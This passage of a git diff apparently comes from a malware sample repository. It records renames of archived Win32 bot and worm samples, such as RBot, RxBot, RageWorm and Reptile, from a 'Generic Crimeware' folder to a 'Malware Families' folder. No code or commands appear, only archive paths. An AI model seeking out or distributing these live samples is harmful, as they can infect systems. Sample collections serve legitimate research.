Crimeware/Win32.Pluto/Win32.Pluto.at.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.at.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.au.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.au.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.au.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.au.zip diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.Unknown.7z b/Win32/Malware Families/Win32.RBot/Win32.RBot.Unknown.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.Unknown.7z rename to Win32/Malware Families/Win32.RBot/Win32.RBot.Unknown.7z diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.b.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.b.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.b.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.c.b.a.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.c.b.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.c.b.a.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.c.b.a.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.c.b.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.c.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.c.b.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.c.b.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.c.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.c.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.c.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.d.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.d.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.d.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.f.f.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.f.f.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.f.f.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.f.f.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.g.h.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.g.h.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.g.h.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.g.h.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.g.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.g.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.g.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.g.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.l.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.a.l.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.a.l.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.a.l.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.bm.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.bm.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.bm.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.bm.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.df.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.df.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.df.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.df.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.dn.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.dn.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.dn.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.dn.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.dr.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.dr.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.dr.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.dr.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.f.i.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.f.i.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.f.i.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.f.i.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.i.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.i.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.i.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.i.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.l.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.l.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.l.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.l.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.od.d.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.od.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.od.d.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.od.d.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.od.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.od.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.od.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.od.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.s.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.s.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.s.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.s.rar diff --git a/Win32/Generic Crimeware/Win32.RBot/Win32.RBot.x.rar b/Win32/Malware Families/Win32.RBot/Win32.RBot.x.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RBot/Win32.RBot.x.rar rename to Win32/Malware Families/Win32.RBot/Win32.RBot.x.rar diff --git a/Win32/Generic Crimeware/Win32.RageBot/Win32.RageBot.a.7z b/Win32/Malware Families/Win32.RageBot/Win32.RageBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageBot/Win32.RageBot.a.7z rename to Win32/Malware Families/Win32.RageBot/Win32.RageBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.RageBot/Win32.RageBot.b.7z b/Win32/Malware Families/Win32.RageBot/Win32.RageBot.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageBot/Win32.RageBot.b.7z rename to Win32/Malware Families/Win32.RageBot/Win32.RageBot.b.7z diff --git a/Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.a.7z b/Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.a.7z rename to Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.a.7z diff --git a/Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.b.7z b/Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.b.7z rename to Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.b.7z diff --git a/Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.c.7z b/Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.c.7z rename to Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.c.7z diff --git a/Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.d.7z b/Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.d.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.d.7z rename to Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.d.7z diff --git a/Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.e.7z b/Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.e.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.e.7z rename to Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.e.7z diff --git a/Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.f.7z b/Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.f.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RageWorm/Win32.RageWorm.f.7z rename to Win32/Malware Families/Win32.RageWorm/Win32.RageWorm.f.7z diff --git a/Win32/Generic Crimeware/Win32.RastalBot/Win32.RastalBot.dyia.7z b/Win32/Malware Families/Win32.RastalBot/Win32.RastalBot.dyia.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RastalBot/Win32.RastalBot.dyia.7z rename to Win32/Malware Families/Win32.RastalBot/Win32.RastalBot.dyia.7z diff --git a/Win32/Generic Crimeware/Win32.RastalBot/Win32.RastalBot.dyib.7z b/Win32/Malware Families/Win32.RastalBot/Win32.RastalBot.dyib.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RastalBot/Win32.RastalBot.dyib.7z rename to Win32/Malware Families/Win32.RastalBot/Win32.RastalBot.dyib.7z diff --git a/Win32/Generic Crimeware/Win32.RastalBot/Win32.RastalBot.yib.rar b/Win32/Malware Families/Win32.RastalBot/Win32.RastalBot.yib.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RastalBot/Win32.RastalBot.yib.rar rename to Win32/Malware Families/Win32.RastalBot/Win32.RastalBot.yib.rar diff --git a/Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.axb.7z b/Win32/Malware Families/Win32.Reptile/Win32.Reptile.axb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.axb.7z rename to Win32/Malware Families/Win32.Reptile/Win32.Reptile.axb.7z diff --git a/Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.d.7z b/Win32/Malware Families/Win32.Reptile/Win32.Reptile.d.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.d.7z rename to Win32/Malware Families/Win32.Reptile/Win32.Reptile.d.7z diff --git a/Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.ex.7z b/Win32/Malware Families/Win32.Reptile/Win32.Reptile.ex.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.ex.7z rename to Win32/Malware Families/Win32.Reptile/Win32.Reptile.ex.7z diff --git a/Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.l.7z b/Win32/Malware Families/Win32.Reptile/Win32.Reptile.l.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.l.7z rename to Win32/Malware Families/Win32.Reptile/Win32.Reptile.l.7z diff --git a/Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.sd.7z b/Win32/Malware Families/Win32.Reptile/Win32.Reptile.sd.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Reptile/Win32.Reptile.sd.7z rename to Win32/Malware Families/Win32.Reptile/Win32.Reptile.sd.7z diff --git a/Win32/Generic Crimeware/Win32.Reptile/Win32.Reptite.ax.7z b/Win32/Malware Families/Win32.Reptile/Win32.Reptite.ax.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Reptile/Win32.Reptite.ax.7z rename to Win32/Malware Families/Win32.Reptile/Win32.Reptite.ax.7z diff --git a/Win32/Generic Crimeware/Win32.Riot/Win32.Riot.d.rar b/Win32/Malware Families/Win32.Riot/Win32.Riot.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Riot/Win32.Riot.d.rar rename to Win32/Malware Families/Win32.Riot/Win32.Riot.d.rar diff --git a/Win32/Generic Crimeware/Win32.Riot/Win32.Riot.e.rar b/Win32/Malware Families/Win32.Riot/Win32.Riot.e.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Riot/Win32.Riot.e.rar rename to Win32/Malware Families/Win32.Riot/Win32.Riot.e.rar diff --git a/Win32/Generic Crimeware/Win32.Rose/Win32.Rose.b.7z b/Win32/Malware Families/Win32.Rose/Win32.Rose.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Rose/Win32.Rose.b.7z rename to Win32/Malware Families/Win32.Rose/Win32.Rose.b.7z diff --git a/Win32/Generic Crimeware/Win32.Rose/Win32.Rose.c.7z b/Win32/Malware Families/Win32.Rose/Win32.Rose.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Rose/Win32.Rose.c.7z rename to Win32/Malware Families/Win32.Rose/Win32.Rose.c.7z diff --git a/Win32/Generic Crimeware/Win32.Rreinalo/Win32.Rreinalo.a.7z b/Win32/Malware Families/Win32.Rreinalo/Win32.Rreinalo.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Rreinalo/Win32.Rreinalo.a.7z rename to Win32/Malware Families/Win32.Rreinalo/Win32.Rreinalo.a.7z diff --git a/Win32/Generic Crimeware/Win32.Rreinalo/Win32.Rreinalo.b.7z b/Win32/Malware Families/Win32.Rreinalo/Win32.Rreinalo.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Rreinalo/Win32.Rreinalo.b.7z rename to Win32/Malware Families/Win32.Rreinalo/Win32.Rreinalo.b.7z diff --git a/Win32/Generic Crimeware/Win32.Rreinalo/Win32.Rreinalo.c.7z b/Win32/Malware Families/Win32.Rreinalo/Win32.Rreinalo.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Rreinalo/Win32.Rreinalo.c.7z rename to Win32/Malware Families/Win32.Rreinalo/Win32.Rreinalo.c.7z diff --git a/Win32/Generic Crimeware/Win32.RuffBot/Win32.RuffBot.a.7z b/Win32/Malware Families/Win32.RuffBot/Win32.RuffBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RuffBot/Win32.RuffBot.a.7z rename to Win32/Malware Families/Win32.RuffBot/Win32.RuffBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.RuffBot/Win32.RuffBot.b.7z b/Win32/Malware Families/Win32.RuffBot/Win32.RuffBot.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RuffBot/Win32.RuffBot.b.7z rename to Win32/Malware Families/Win32.RuffBot/Win32.RuffBot.b.7z diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.Unknown.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.Unknown.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.Unknown.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.Unknown.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.a.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.a.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.a.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.a.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.a.c.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.a.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.a.c.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.a.c.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.a.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.a.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.a.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.d.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.d.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.d.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.e.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.e.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.e.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.e.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.c.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.c.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.c.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.e.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.e.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.e.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.e.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.g.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.g.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.g.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.g.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.f.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.f.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.zip b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.f.zip rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.f.zip diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.k.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.k.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.k.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.k.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.c.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.c.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.c.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.m.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.m.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.m.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.m.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.a.s.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.a.s.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.b.f.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.b.f.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.b.f.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.b.f.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.c.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.c.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.c.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.d.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.d.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.d.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.d.v.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.d.v.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.d.v.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.d.v.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.d.v.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.d.v.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.d.v.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.d.v.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.e.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.e.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.e.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.e.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.f.a.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.f.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.f.a.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.f.a.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.f.f.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.f.f.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.f.f.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.f.f.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.f.f.d.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.f.f.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.f.f.d.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.f.f.d.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.7z b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.7z rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.7z diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.f.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.f.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.f.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.f.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.f.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.f.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.f.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.f.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.g.h.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.g.h.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.g.h.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.g.h.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.g.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.g.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.g.g.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.g.g.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.h.h.h.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.h.h.h.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.h.h.h.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.h.h.h.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.h.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.h.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.h.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.h.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.i.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.i.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.i.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.i.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.j.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.j.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.j.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.j.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.s.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.s.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.l.s.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.l.s.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.m.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.m.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.m.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.m.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.n.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.n.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.n.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.n.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.r.b.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.r.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.r.b.rar rename to Win32/Malware Families/Win32.RxBot/Win32.RxBot.r.b.rar diff --git a/Win32/Generic Crimeware/Win32.RxBot/Win32.RxBot.r.rar b/Win32/Malware Families/Win32.RxBot/Win32.RxBot.r.rar similarity index 100% rename from Win32/Generic 